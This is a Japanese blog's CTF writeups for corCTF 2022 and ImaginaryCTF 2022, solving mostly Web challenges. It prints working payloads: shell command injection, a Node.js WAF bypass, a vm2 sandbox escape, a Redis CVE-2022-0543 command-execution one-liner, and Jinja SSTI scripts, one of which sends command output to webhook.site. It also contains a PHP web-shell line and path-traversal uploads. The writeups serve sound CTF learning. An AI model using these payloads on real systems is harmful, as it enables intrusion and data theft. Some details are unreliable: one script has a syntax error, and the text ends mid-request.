st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

corCTF 2022 writeup

8/6 - 8/8という日程で開催された。zer0ptsで参加して10位。独創的な問題がいっぱいで楽しかった。solves数の多い問題から見ていっていたので、実はWebの高難度帯の問題はほとんど見ていない。要復習だなあ。以下はwriteupだけれども、すでに作問者のBryceさんだったり、JazzPizazzさんだったりがすでにwriteupを公開されているのでただの焼き直しになりそう。

他のメンバーが書いたwrite-up:


[Web 104] jsonquiz (573 solves)

jsonquiz.be.ax というURLが与えられる。アクセスするとクイズが始まった。

真面目に答えるのも面倒なのでソースコードを確認したところ、/assets/js/quiz.js にクイズの終了時の処理っぽいものがあった。どれだけ正解しようが score = 0 で提出されてしまうようだ。

        let score = 0;
        fetch("/submit", {
            method: "POST",
            headers: {
                "Content-Type": "application/x-www-form-urlencoded"
            },
            body: "score=" + score
        })
        .then(r => r.json())
        .then(j => {
            if (j.pass) {
                $("#reward").innerText = j.flag;
                $("#pass").style.display = "block";
            }
            else {
                $("#fail").style.display = "block";
            }
        });

雑にデカいスコアを提出する。これでフラグが得られる。

{
        let score = 100;
        fetch("/submit", {
            method: "POST",
            headers: {
                "Content-Type": "application/x-www-form-urlencoded"
            },
            body: "score=" + score
        })
        .then(r => r.json())
        .then(j => {
            console.log(j);
        });
}
corctf{th3_linkedin_JSON_quiz_is_too_h4rd!!!}

[Web 109] msfrog-generator (280 solves)

msfrog-generator.be.ax というURLが与えられる。ソースコードはなし。アクセスするとこんな感じで絵文字でお絵描きして遊べる。

Generate というボタンを押すと /api/generate に以下のようなJSONがPOSTで飛んでいき、サーバ側で生成された画像が返ってくる。

[{"type":"mseyes.png","pos":{"x":26,"y":38}}]

Path TraversalかOS Command Injectionができるのではと考える。試しに type の値を ../app.py にしてみたところ、I wont pass a non existing image to a shell command lol というメッセージが返ってきた。パスは画像でないとダメらしい。

ならばと neko/../msdrops.png に変えてみたところ、以下のようなメッセージに変わった。

Something went wrong : b"convert-im6.q16: unable to open image `img/neko/../msdrops.png': No such file or directory @ error/blob.c/OpenBlob/2924.\nconvert-im6.q16: image sequence is required `-composite' @ error/mogrify.c/MogrifyImageList/7987.\nconvert-im6.q16: no images defined `png:-' @ error/convert.c/ConvertImageCommand/3229.\n"

neko;ls;a/../msdrops.png でOS Command Injectionができた。

{"msfrog": "fe\nimg\nserver.py\nwsgi.py\n"}

neko;cat /f*;a/../msdrops.png でフラグが得られる。

corctf{sh0uld_h4ve_r3nder3d_cl13nt_s1de_:msfrog:}

[Forensics 118] whack-a-frog (154 solves)

お絵描きアプリ再び。

マウスイベントが発生するたびに /anticheat?x=406&y=138&event=mouseup/anticheat?x=406&y=141&event=mousemove のようにHTTPリクエストが飛ぶようになっており、これでお絵描きしている様子をキャプチャした whacking-the-froggers.pcap というファイルが与えられる。

ScapyとPillowでなんとかする。

import re
from scapy.all import *
from PIL import Image

w, h = 1920, 1080
im = Image.new('1', (w, h), 1)
pix = im.load()

c = 1
for pkt in PcapReader('whacking-the-froggers.pcap'):
    pkt = bytes(pkt)
    if b'GET /anticheat' not in pkt:
        continue
    [(x, y, event)] = re.findall(rb'x=(\d+)&y=(\d+)&event=(\w+)', pkt)
    x, y = int(x), int(y)

    if event == b'mousedown':
        c = 0
    if event == b'mouseup':
        c = 1

    pix[x, y] = c

im.save('result.png')

実行するとフラグが得られた。

corctf{LILYXOX}

[Web 209] simplewaf (28 solves)

以下のようなソースコードと、これが動いているWebサーバへの接続情報が与えられる。flag という文字列が含まれていない限り、fs.readFileSync に好きな引数を与えることができるらしい。同じディレクトリに flag.txt があるからそれを読むだけだと思ってしまうが、フィルターに邪魔されてしまう。

const express = require("express");
const fs = require("fs");

const app = express();

const PORT = process.env.PORT || 3456;

app.use((req, res, next) => {
    if([req.body, req.headers, req.query].some(
        (item) => item && JSON.stringify(item).includes("flag")
    )) {
        return res.send("bad hacker!");
    }
    next();
});

app.get("/", (req, res) => {
    try {
        res.setHeader("Content-Type", "text/html");
        res.send(fs.readFileSync(req.query.file || "index.html").toString());       
    }
    catch(err) {
        console.log(err);
        res.status(500).send("Internal server error");
    }
});

app.listen(PORT, () => console.log(`web/simplewaf listening on port ${PORT}`));

fl%61g.txt を投げてもデコードしてくれないし、file:///app/fl%61g.txt のように file:// を頭につけてもやはりダメ。ほかになにか方法がないかNode.jsの公式ドキュメントを見に行ったところ、第一引数として string, Buffer, URL, integer のいずれかを受け入れることがわかった。なるほど、URL オブジェクトならばURLデコードによってフィルターをバイパスできそうだ。でも、引数として渡されるのは req.query.file とクエリパラメータ経由で与えられた値で、URL オブジェクトに変換できるような処理はされていないから無理なのでは?

> fs.readFileSync('file:///etc/passwd')
Uncaught Error: ENOENT: no such file or directory, open 'file:///etc/passwd'
    at Object.openSync (node:fs:585:3)
    at Object.readFileSync (node:fs:453:35) {
  errno: -2,
  syscall: 'open',
  code: 'ENOENT',
  path: 'file:///etc/passwd'
}
> fs.readFileSync(new URL('file:///etc/passwd'))
<Buffer 72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f ... 1585 more bytes>
> fs.readFileSync(new URL('file:///etc/p%61sswd'))
<Buffer 72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f ... 1585 more bytes>

ソースコードを見ないとできるかできないかはわからないので、fs.readFileSync の実装を見に行く。まず fs.openSync を呼んでファイルを開こうとするらしい。

  const isUserFd = isFd(path); // File descriptor ownership
  const fd = isUserFd ? path : fs.openSync(path, options.flag, 0o666);

fs.openSync を見に行く。getValidatedPath なる関数を呼んでいる。

function openSync(path, flags, mode) {
  path = getValidatedPath(path);
  const flagsNumber = stringToFlags(flags);
  mode = parseFileMode(mode, 'mode', 0o666);

  const ctx = { path };
  const result = binding.open(pathModule.toNamespacedPath(path),
                              flagsNumber, mode,
                              undefined, ctx);
  handleErrorFromBinding(ctx);
  return result;
}

getValidatedPath では toPathIfFileURL なる関数によって与えられたパスが file: プロトコルのURLであるか確認しているっぽい。

const getValidatedPath = hideStackFrames((fileURLOrPath, propName = 'path') => {
  const path = toPathIfFileURL(fileURLOrPath);
  validatePath(path, propName);
  return path;
});

toPathIfFileURL の実装はこんな感じ。isURLInstance がtruthyであれば fileURLToPath という関数によってURLからファイルのパスに変換したものを返り値として返すらしい。

function toPathIfFileURL(fileURLOrPath) {
  if (!isURLInstance(fileURLOrPath))
    return fileURLOrPath;
  return fileURLToPath(fileURLOrPath);
}

では isURLInstance はどうやって引数が URL オブジェクトであると確認しているのか。実装を見てみると fileURLOrPath instanceof URL のように URLインスタンスであるか確認しているわけではなく、なんと hreforigin というプロパティが生えているかだけを確認しているようだった。もしかすると、req.query.file{"href":"…","origin":"…"} のようなオブジェクトにすればよいのかもしれない。深掘りしていく。

function isURLInstance(fileURLOrPath) {
  return fileURLOrPath != null && fileURLOrPath.href && fileURLOrPath.origin;
}

fileURLToPath はこのような実装になっている。もう一度引数を isURLInstance でチェックした後に、protocol プロパティが file: であるか確認している。そして getPathFromURLPosix でURLオブジェクトからパスを取得している。

function fileURLToPath(path) {
  if (typeof path === 'string')
    path = new URL(path);
  else if (!isURLInstance(path))
    throw new ERR_INVALID_ARG_TYPE('path', ['string', 'URL'], path);
  if (path.protocol !== 'file:')
    throw new ERR_INVALID_URL_SCHEME('file');
  return isWindows ? getPathFromURLWin32(path) : getPathFromURLPosix(path);
}

getPathFromURLPosix の実装を見る。hostname プロパティが空であるか確認した後に、pathname プロパティをURLデコードしてくれている。やったあ。

ということで、fs.readFileSync はドキュメントでは string, Buffer, URL, integer のいずれかしか第一引数として受け付けないと書かれていたけれども、実際は href, origin, protocol, hostname, pathname の5つのプロパティに適切な文字列が入っていればなんでもよいことがわかった。

function getPathFromURLPosix(url) {
  if (url.hostname !== '') {
    throw new ERR_INVALID_FILE_URL_HOST(platform);
  }
  const pathname = url.pathname;
  for (let n = 0; n < pathname.length; n++) {
    if (pathname[n] === '%') {
      const third = pathname.codePointAt(n + 2) | 0x20;
      if (pathname[n + 1] === '2' && third === 102) {
        throw new ERR_INVALID_FILE_URL_PATH(
          'must not include encoded / characters'
        );
      }
    }
  }
  return decodeURIComponent(pathname);
}

ローカルで試してみたところ、確かに動いている。

> fs.readFileSync({ href: 'a', origin: 'b', protocol: 'file:', pathname: '/etc/p%61sswd', hostname: ''})
<Buffer 72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f ... 911 more bytes>

リモートで試すとフラグが得られた。

$ curl "https://web-simplewaf-1161f645fd6c1aa1.be.ax/?file[href]=
a&file[origin]=b&file[protocol]=file:&file[pathname]=fl%2561g.txt&file[hostname]"
corctf{hmm_th4t_waf_w4snt_s0_s1mple}

シンプルながらも解くにはよく調べる必要があって、こういう問題大好き。

[Misc 321] sbxcalc (11 solves)

最終的に通していたのはjskimさんだけれども、面白い問題だったのでメモしておく。以下のようなソースコードが与えられている。75文字以下かつ /^([\w+\-*/() ]|([0-9]+[.])+[0-9]+)+$/ に当てはまっていなければならないという制限付きで好きなJavaScriptコードを実行できる。

Node.js備え付けの vm モジュールでなくわざわざ vm2 というライブラリを使っているあたり、サンドボックスから抜け出すなということだろう。

目的は flag という Proxy オブジェクトにある FLAG というプロパティに含まれているフラグを手に入れること。ただし、flagget というハンドラが nope という文字列を返す関数になっているので、単純に flag.FLAG のようにプロパティにアクセスしようとすれば nope が返ってきてしまう。

const express = require("express");
const vm2 = require("vm2");

const PORT = process.env.PORT || "4000";

const app = express();

app.set("view engine", "hbs");

// i guess you can have some Math functions...
let sandbox = Object.create(null);
["E", "PI", "sin", "cos", "tan", "log", "pow", "sqrt"].forEach(v => sandbox[v] = Math[v]);

// oh, and the flag too i guess...
sandbox.flag = new Proxy({ FLAG: process.env.FLAG || "corctf{test_flag}" }, {
    get: () => "nope" // :')
});

// no modifying the sandbox, please
sandbox = Object.freeze(sandbox);

app.get("/", (req, res) => {
    let output = "";
    let calc = req.query.calc;

    if (calc) {
        calc = `${calc}`;

        if(calc.length > 75) {
            output = "Error: calculation too long";
        }

        let whitelist = /^([\w+\-*/() ]|([0-9]+[.])+[0-9]+)+$/; // this is a calculator sir
        if(!whitelist.test(calc)) {
            output = "Error: bad characters in calculation";
        }

        if(!output) {
            try {
                const vm = new vm2.VM({
                    timeout: 100,
                    eval: false,
                    sandbox,
                });
                output = `${vm.run(calc)}`;
                if (output.includes("corctf")) {
                    output = "Error: no.";
                }
            }
            catch (e) {
                console.log(e);
                output = "Error: error occurred";
            }
        }
    }

    res.render("index", { output, calc });
});

app.listen(PORT, () => console.log(`sbxcalc listening on ${PORT}`));

まずはどうやって flag.FLAG の値を手に入れるかというところから考える。sandbox.flag の初期化時に get ハンドラが与えられているけれども、getOwnPropertyDescriptor は与えられていない。Object.getOwnPropertyDescriptor(sandbox.flag, 'FLAG') してみると以下のようにプロパティディスクリプタ経由で得られることがわかった。

> Object.getOwnPropertyDescriptor(flag, 'FLAG')
{
  value: 'corctf{test_flag}',
  writable: true,
  enumerable: true,
  configurable: true
}

でも、フィルターによって .[]、文字列リテラルは使えない。どうやってプロパティにアクセスすればよいのだろう。悩んでいたところ、jskimさんが with(Object)with(getOwnPropertyDescriptors(flag))with(FLAG)value のように withを使うことを思いついた。なるほど with、頭から抜けていた。

これなら64文字で文字数制限に引っかからないと思ってしまうが、残念ながらもうちょっと頑張る必要がある。ソースコードをよく見ると、出力に corctf が含まれていた場合に弾かれてしまう。

                if (output.includes("corctf")) {
                    output = "Error: no.";
                }

なら with(Object)with(getOwnPropertyDescriptors(flag))with(FLAG)with(value)at(0) みたいに String.prototype.at で1文字ずつ取り出せばよいのではないかと考えたが、残念ながら at(0) の時点で75文字になってしまっている。11文字目以降はこのままでは取得できない。

最終的に、プロパティディスクリプタvalue プロパティにわざわざアクセスせず、with(Object)with(getOwnPropertyDescriptors(flag))with(values(FLAG)+E)at(0) のように Object.values(FLAG) でプロパティの値を配列化した後に、文字列に変換して String.prototype.at で1文字ずつ抽出する方法をjskimさんが思いついた。なるほど~~~~!

corctf{d0nt_you_just_l0ve_j4vascript?}

なんとなく、Harekaze mini CTF 2020で私が出題したProxy Sandboxやzer0pts CTF 2021で出題したKantan Calcという問題を思い出した。もしまたこういう感じの問題を出すのであれば、今度は vm2 を使うようにしたい。

[Misc 378] no(de)code (7 solves)

ローコードにアプリを開発できるBudibaseというプラットフォームで遊ぶ問題。チームごとにインスタンスが立てられるようになっていた。

適当にアプリを作って遊んでみていると、以下のように呼び出し可能なアクションとしてBashスクリプトが存在していることに気づいた。

以下のような感じで、cmd という引数を取ってBashスクリプトに渡すようなフローを作る。

実行するBashスクリプト{{ trigger.fields.cmd }} のようにすると、Budibaseがこれを渡された cmd に置換した上で実行してくれる。

アプリの編集画面右上に存在している Run test というボタンを押すと、以下のようにこのフローを実行できる。

試しに id を入力してみると、以下のように uid=0(root) gid=0(root) groups=0(root) と出力された。ちゃんとOSコマンドが実行できたようだ。

なにか怪しいファイルがないかなあと ls -la / してみると、/SECURITY.txt なるファイルが見つかった。

total 80
drwxr-xr-x   1 root root 4096 Aug  8 16:36 .
drwxr-xr-x   1 root root 4096 Aug  8 16:36 ..
-rw-r--r--   1 root root  113 Aug  7 01:52 SECURITY.txt
drwxr-xr-x   1 root root 4096 Aug  4 14:43 app
drwxr-xr-x   2 root root 4096 Aug  1 00:00 bin
drwxr-xr-x   2 root root 4096 Mar 19 13:44 boot
drwxr-xr-x   5 root root  360 Aug  8 16:36 dev
drwxr-xr-x   1 root root 4096 Aug  8 16:36 etc
drwxr-xr-x   1 root root 4096 Aug  2 05:22 home
drwxr-xr-x   1 root root 4096 Aug  4 14:43 lib
drwxr-xr-x   2 root root 4096 Aug  1 00:00 lib64
drwxr-xr-x   2 root root 4096 Aug  1 00:00 media
drwxr-xr-x   2 root root 4096 Aug  1 00:00 mnt
drwxr-xr-x   1 root root 4096 Aug  4 14:44 opt
dr-xr-xr-x 344 root root    0 Aug  8 16:36 proc
drwx------   1 root root 4096 Aug  8 16:36 root
drwxr-xr-x   3 root root 4096 Aug  1 00:00 run
drwxr-xr-x   2 root root 4096 Aug  1 00:00 sbin
drwxr-xr-x   2 root root 4096 Aug  1 00:00 srv
dr-xr-xr-x  13 root root    0 Aug  8 16:36 sys
drwxrwxrwt   1 root root 4096 Aug  8 16:36 tmp
drwxr-xr-x   1 root root 4096 Aug  1 00:00 usr
drwxr-xr-x   1 root root 4096 Aug  1 00:00 var

中身は以下のような感じ。別に動いているRedisのコンテナに、ファイルとしてなにか価値のあるもの(フラグだろう)が含まれているらしい。

- Remove that file containing valuable contents from the Redis container
- Check environment variables for leaks

環境変数もチェックするとよさそうなので printenv を実行してみる。200個以上の環境変数があってアレだけれども、printenv | grep REDIS で絞ってみるとRedisサーバに接続できるパスワードやホスト名が手に入った。

REDIS_PASSWORD=rI1W4PDBWcS2oGe3jcWXvtH8
REDIS_VERSION=5.0.7-2ubuntu
REDIS_URL=redis-service:6379

BudibaseにはRedisと連携できる機能もある。以下のようにアプリの作成時にRedisを選択し、手に入れたホスト名やパスワードを入力する。

以下のように好きなRedisのコマンドを実行できる。環境変数によればRedisのバージョンは5.0.7-2だからCVE-2022-0543が使えるかもしれないと思うが、なぜか EVAL "return 123" 0 のようなコマンドがここからは実行できない。

Bashスクリプトなりなんなりを使って直接Redisサーバに接続し、インラインコマンドを送ってみるのはどうか。

node -e "const net = require('net'); const c=net.createConnection({ host: 'redis-service', port: 6379 }, () => { c.write('AUTH rI1W4PDBWcS2oGe3jcWXvtH8\r\nEVAL \"return 123\" 0\r\n') }); c.on('data',d=>{console.log(d.toString()); c.end(); })"

実行すると 123 が返ってきた。直接Redisサーバを叩くなら EVAL が使えるようだ。なんで?

+OK
:123

CVE-2022-0543を試してみる。ググって出てきたコードを持ってきて、Redisコンテナ上で好きなOSコマンドが実行できるRedisコマンドを出力してくれるスクリプトを書く。

pw = 'rI1W4PDBWcS2oGe3jcWXvtH8'
code = """
local io_l = package.loadlib('/usr/lib/x86_64-linux-gnu/liblua5.1.so.0','luaopen_io'); local io = io_l(); local f = io.popen('cat /flag.txt', 'r'); local res = f:read('*a'); f:close(); return res
""".strip()

s = f'''node -e "const net = require('net'); const c=net.createConnection({{ host: 'redis-service', port: 6379 }}, () => {{ c.write(\\`AUTH {pw}\\r\\nEVAL \\"{code}\\" 0\\r\\n\\`) }}); c.on('data',d=>{{console.log(d.toString()); c.end(); }})"'''
print(s)

出力された以下のOSコマンドを実行する。

node -e "const net = require('net'); const c=net.createConnection({ host: 'redis-service', port: 6379 }, () => { c.write(\`AUTH rI1W4PDBWcS2oGe3jcWXvtH8\r\nEVAL \"local io_l = package.loadlib('/usr/lib/x86_64-linux-gnu/liblua5.1.so.0','luaopen_io'); local io = io_l(); local f = io.popen('cat /flag.txt', 'r'); local res = f:read('*a'); f:close(); return res\" 0\r\n\`) }); c.on('data',d=>{console.log(d.toString()); c.end(); })"

これでフラグが得られた。

corctf{b4sh_and_n0d3JS_c4n_sp34k_r3dis_too!!}

という感じで書くと簡単な問題に見えるけれども、途中で迷いに迷っていたのでこの問題に取り組み始めてからフラグを得るまでに5時間ぐらいかかった。crusader@cor.ctf というadminのユーザがいることに気づいて、これを乗っ取る必要があるのかと思って色々試していたけれどもダメ。CONFIG SET … でファイルを書き込もうにもなんか動かないし、SLAVEOF もアウトバウンドな通信が制限されているっぽいので面倒だし。幸いにも SECURITY.txt があることは早いうちに確認できていたし、CVE-2022-0543もRedisが使われているのを見てまず思いついていたので、途中で軌道修正できた。

ImaginaryCTF 2022 writeup

7/16 - 7/19という日程で開催された。ひとりチーム( 'ᾥ' )で出て8位。

8月に第2回の防衛省サイバーコンテスト *1、また9月にはCakeCTF 2022 *2と、ソロで出ることになりそうなCTFが短いスパンで待っている。最近はTSG LIVE! CTFAsian Cyber Security Challengeみたいにそういうレギュレーションがあるか、そういう気分にならない限りチームで出がちで、それに甘えてWeb以外の問題を見ないこともしょっちゅうある。たるんどる。気合を入れ直すつもりでzer0ptsが出なさそうなCTFに参加することにした。

それでも積みゲーを崩したいし、ほかにも色々やりたいしでゆるく参加するつもりだったのだけれども、私と同様にソロで出ていたkeymoonさんがどんどん問題を解いていくのを見て対抗心を燃やしてしまった。結局3連休を丸々このCTFに費やした。でも楽しかったのでよし。

そういう前置きはよくて、以下はwriteup。上位13チームは、賞金を得るために一部の高難度帯の問題のwriteupを提出する必要がある。それらのチームのwriteupが出揃うまで、対象となる問題のwriteupは公開を控えてほしいという運営からのアナウンスがあった。したがって、そのひとつである[Web]CyberCookのwriteupはOKが出た後に追記したい。 → 追記しました(2022-07-22)


[Web 100] button (510 solves)

URLのみが与えられる。アクセスすると真っ白な画面が表示されるが、DevToolsを開いてみると以下のように大量の button 要素があるとわかる。クリックすると notSusFunction() が呼ばれるらしい。

それ以外の関数を呼ぶ button 要素はあるだろうか。grepnotSusFunction を含まない行を探す。motSusfunclion という関数があるらしい。

$ grep -v notSusFunction button.chal.imaginaryctf.org/index.html
<style>
.not-sus-button {
  border: none;
  padding: 0;
  background: none;
  color:white;
}
</style>

<button class="not-sus-button" onclick="motSusfunclion()">.</button>

この関数を呼び出すと alert でフラグが表示される。

ictf{y0u_f0und_7h3_f1ag!}

[Web 100] Democracy (504 solves)

URLのみが与えられる。ユーザ登録すると(自身も含め)誰かひとりに投票でき、トップページでは誰がどれだけの票を集めているか確認できるランキングが表示される。投票は10分ごとに締め切られ、リセットされるが、このときもっとも得票しているユーザのみが /flag にアクセスしてフラグを得られる。

はじめに適当なユーザを作ってから、ユーザ登録とそのユーザへの投票を繰り返すスクリプトを書けばよい。

import re
import time
import uuid
import requests

HOST = 'http://chal.imaginaryctf.org:1339'

def get_session(user=None, pw=None):
    if user is None or pw is None:
        user, pw = str(uuid.uuid4()), str(uuid.uuid4())
    sess = requests.Session()
    sess.post(f'{HOST}/register', data={
        'user': user
        'pass': pw
    })
    return sess

user, pw = str(uuid.uuid4()), str(uuid.uuid4())
print(user, pw)

sess = get_session(user, pw)
r = sess.get(f'{HOST}/me')
vote_path = re.findall(r"href='(/vote/.+?)'", r.text)[0]

while True:
    tmp = get_session()
    tmp.get(f'{HOST}{vote_path}')
    print(sess.get(f'{HOST}/flag').text)
    time.sleep(1)
$ python3 solve.py
...
Voting hasn't ended yet!
Voting hasn't ended yet!
Voting hasn't ended yet!
Voting hasn't ended yet!
Voting hasn't ended yet!
Congrats on being voted most worthy to recieve the flag! ictf{i'm_sure_you_0btained_this_flag_with0ut_any_sort_of_trickery...}
ictf{i'm_sure_you_0btained_this_flag_with0ut_any_sort_of_trickery...}

全チームで共通の環境であったために、他チームとかち合ってしまうと争いが始まるし、しかもランキングページにXSSがあったので、強制的にログアウトさせたり自チームのユーザに投票先を変更させたりといった他チームへの妨害が起こりまくるカオスな状況ができあがっていた。最終的に問題がシャットダウンされ、全チームにフラグが配られていた。

[Web 100] rooCookie (353 solves)

URLのみが与えられる。開くとクッキーを持ったパンダ(?)に出迎えられる。HTMLを確認すると、以下のようにCookieに文字列をセットしている様子が確認できた。これは createToken でフラグをエンコードしたものだろう。

<script>
function createToken(text) {
   let encrypted = "";
  for (let i = 0; i < text.length; i++) {
       encrypted += ((text[i].charCodeAt(0)-43+1337) >> 0).toString(2)
  }
  document.cookie = encrypted
}

document.cookie = "token=101100000111011000000110101110011101100000001010111110010101101111101011110111010111001110101001011101001100001011000000010101111101101011111011010011000010100101110101001101001010010111010101111110101011011111011000000110110000001101100001011010111110110110000000101011100101010100101110100110000101011101111010111000110110000010101011101001011000100110101110110101001111101010111111010101000001101011011011010100010110101110110101011011111010100010110101101101101100001011010110111110101000011101011111001010100010110101101101101100000101010011111010100111110101011011011010111000010101000010101011100101011000101110100110000"
</script>

デコードするコードを書けばよい。

String.fromCharCode(...'101100000111011000000110101110011101100000001010111110010101101111101011110111010111001110101001011101001100001011000000010101111101101011111011010011000010100101110101001101001010010111010101111110101011011111011000000110110000001101100001011010111110110110000000101011100101010100101110100110000101011101111010111000110110000010101011101001011000100110101110110101001111101010111111010101000001101011011011010100010110101110110101011011111010100010110101101101101100001011010110111110101000011101011111001010100010110101101101101100000101010011111010100111110101011011011010111000010101000010101011100101011000101110100110000'.match(/.{11}/g).map(x => parseInt(x, 2) - 1337 + 43))
ictf{h0p3_7ha7_wa5n7_t00_b4d}

[Web 100] SSTI Golf (223 solves)

URLが与えられる。アクセスすると以下のようなPythonのコードが表示された。48文字以下でSSTIができるらしい。

#!/usr/bin/env python3

from flask import Flask, render_template_string, request, Response

app = Flask(__name__)

@app.route('/')
def index():
    return Response(open(__file__).read(), mimetype='text/plain')

@app.route('/ssti')
def ssti():
    query = request.args['query'] if 'query' in request.args else '...'
    if len(query) > 48:
        return "Too long!"
    return render_template_string(query)

app.run('0.0.0.0', 1337)

Flask+JinjaのSSTIといえば__subclasses__ やら __globals__ やらを参照するのが定石だけれども、愚直にやるとクソ長いペイロードができあがるので、48文字以下に収めるために工夫する必要がある。

config には SECRET_KEY とか ENV とか色々入っているけれども、ag.get.__globals__ を仕込み、aconfig.a['__builtins__'] に置き換えて __builtins__ を取り出し、さらに aconfig.a['eval'] で置き換えて、config.a から eval にアクセスできるようにするのはどうか。これなら複数のリクエストに分けて、各リクエストでは48文字以下に収めることができるはずだ。スクリプトを書く。

import requests
import html

#HOST = 'http://localhost:1337'
HOST = 'http://sstigolf.chal.imaginaryctf.org/'

def go(query):
    return html.unescape(requests.get(f'{HOST}/ssti', params={
        'query': query
    }).text)

def set_config(key, value):
    go(f"{{%set a=config.update({{'{key}':''}})%}}")
    for c in value:
        go(f"{{%set a=config.update({{'{key}':config.{key}+'{c}'}})%}}")

key_eval = '9'
key_tmp = 'p'
key_payload = 'g'
#payload = '__import__("subprocess").check_output("ls -la; ls -la /", shell=True)'
payload = 'open("truly_an_arbitrarily_named_file").read()'

# config.eval = g.get.__globals__.__builtins__.eval
go(f"{{%set a=config.update({{{key_eval}:g.get.__globals__}})%}}")
set_config(key_tmp, '__builtins__')
go(f"{{%set a=config.update({{{key_eval}:config.{key_eval}[config.{key_tmp}]}})%}}")
set_config(key_tmp, 'eval')
go(f"{{%set a=config.update({{{key_eval}:config.{key_eval}[config.{key_tmp}]}})%}}")

# eval(payload)
set_config(key_payload, payload)
print(go(f'{{{{config.{key_eval}(config.{key_payload})}}}}'))

# clear all keys
go(f"{{%set a=config.pop({key_eval})%}}")
go(f"{{%set a=config.pop('{key_tmp}')%}}")
go(f"{{%set a=config.pop('{key_payload}')%}}")

これを実行するとフラグが得られた。

ictf{F!1+3r5s!?}

他チームが config に仕込んだ eval を利用できないように、exploitの最後でちゃんと config.pop して消しておいた。CTFの終了後にDiscordで流れてきた解法を見ていたら、lipsum.__globals__.os.popen とかいうのを見つけてあ~という気持ちになった。

[Web 172] minigolf (64 solves)

URLが与えられる。アクセスすると以下のようなPythonのコードが表示された。文字数の制限はSSTI Golfから多少ゆるくなったけれども、{{, }}, [, ], _ を使ってはいけないという制限が新たに追加された。html.escape もされているから、'"実体参照に置き換えられてしまい使えない。

from flask import Flask, render_template_string, request, Response
import html

app = Flask(__name__)

blacklist = ["{{", "}}", "[", "]", "_"]

@app.route('/', methods=['GET'])
def home():
  print(request.args)
  if "txt" in request.args.keys():
    txt = html.escape(request.args["txt"])
    if any([n in txt for n in blacklist]):
      return "Not allowed."
    if len(txt) <= 69:
      return render_template_string(txt)
    else:
      return "Too long."
  return Response(open(__file__).read(), mimetype='text/plain')

app.run('0.0.0.0', 1337)

文字数の制限はSSTI Golfと同じ方法でバイパスするとして、[] の制限が痛い。{{}} については {% set … %} のような文を使えばよいけれども、[. が封じられているならどうやってオブジェクトの属性や要素にアクセスできるだろうか。

実はJinjaには attr() というフィルターがあり、これを使えばオブジェクトの属性にアクセスできる。要素へのアクセスはどうするかというと、PayloadsAllTheThings|attr('__getitem__')('index') という方法を見つけた。かしこい。

あとは実装するだけ。

import sys
import html
import requests

#HOST = 'http://localhost:1337'
HOST = 'http://minigolf.chal.imaginaryctf.org'

def go(query, params={}):
    print(len(query), query)
    r = requests.get(f'{HOST}', params={
        'txt': query, **params
    })
    return html.unescape(r.text)

key_eval = '9'
key_getitem = '8'
key_param = 't'
#payload = '__import__("urllib.request").request.urlopen("https://webhook.site/…", __import__("subprocess").check_output("ls -la; ls -la /", shell=True))'
payload = '__import__("urllib.request").request.urlopen("https://webhook.site/…", __import__("subprocess").check_output("cat flag.txt", shell=True))'

# config.eval = g.get.__globals__.__builtins__.eval
go(f"{{%set a=config.update({{{key_eval}:g.get|attr(request.args.{key_param})}})%}}", {
    key_param: '__globals__'
})
go(f"{{%set a=config.update({{{key_eval}:config.{key_eval}|attr(request.args.{key_param})}})%}}", {
    key_param: '__getitem__'
})
go(f"{{%set a=config.update({{{key_eval}:config.{key_eval}(request.args.{key_param})}})%}}", {
    key_param: '__builtins__'
})
go(f"{{%set a=config.update({{{key_eval}:config.{key_eval}.eval}})%}}")

# eval(payload)
r = go(f"{{%set a=config.{key_eval}(request.args.{key_param})%}}", {
    key_param: payload
})
print(r)

[Web 258] Hostility (55 solves)

URLが与えられる。アクセスすると以下のようなPythonのコードが表示された。大変シンプルで、ファイルをアップロードすると ./uploads/ 下にそのままのファイル名で配置されるが表示できず、/flag にアクセスするとフラグを取りに行ってくれるが、残念ながら localhost に投げられてしまうという感じ。

#!/usr/bin/env python3

from requests import get
from flask import Flask, Response, request
from time import sleep
from threading import Thread
from os import _exit

app = Flask(__name__)

class Restart(Thread):
    def run(self):
        sleep(300)
        _exit(0) # killing the server after 5 minutes, and docker should restart it

Restart().start()

@app.route('/')
def index():
    return Response(open(__file__).read(), mimetype='text/plain')

@app.route('/docker')
def docker():
    return Response(open("Dockerfile").read(), mimetype='text/plain')

@app.route('/compose')
def compose():
    return Response(open('docker-compose.yml').read(), mimetype='text/plain')

@app.route('/upload', methods=["GET"])
def upload_get():
    return open("upload.html").read()

@app.route('/upload', methods=["POST"])
def upload_post():
    if "file" not in request.files:
        return "No file submitted!"
    file = request.files['file']
    if file.filename == '':
        return "No file submitted!"
    file.save("./uploads/"+file.filename)
    return f"Saved {file.filename}"

@app.route('/flag')
def check():
    flag = open("flag.txt").read()
    get(f"http://localhost:1337/{flag}")
    return "Flag sent to localhost!"

app.run('0.0.0.0', 1337)

../ なんかがファイル名に含まれていても、file.filename にはそれらが削除されないまま入っている。Flaskのドキュメントを見ても secure_filename を使いましょうという話がある。これのせいでファイルのアップロード時にパストラバーサルができ、好きなディレクトリにファイルを設置できてしまう。

ただ、PHPが使われているわけではないので、<?php passthru($_GET['q']);/var/www/html/shell.php に設置して終わりというわけにはいかない。/flag をなにかに使えないかな~と /etc やらなんやらのディレクトリを見つつ考えていたところ、localhost を自分の管理下にあるIPアドレスに向けるのはどうだろうかと思いついた。どうやるかというと、/etc/passwd を置き換えればよい。

以下のような感じのHTTPリクエストを送る。

POST /upload HTTP/1.1
Host: hostility.chal.imaginaryctf.org
Content-Length: 219
Origin: https://hostility.chal.imaginaryctf.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9BbJvQXij52dIlZQ
User-Agent: neko
Connection: close

------WebKitFormBoundary9BbJvQXij52dIlZQ
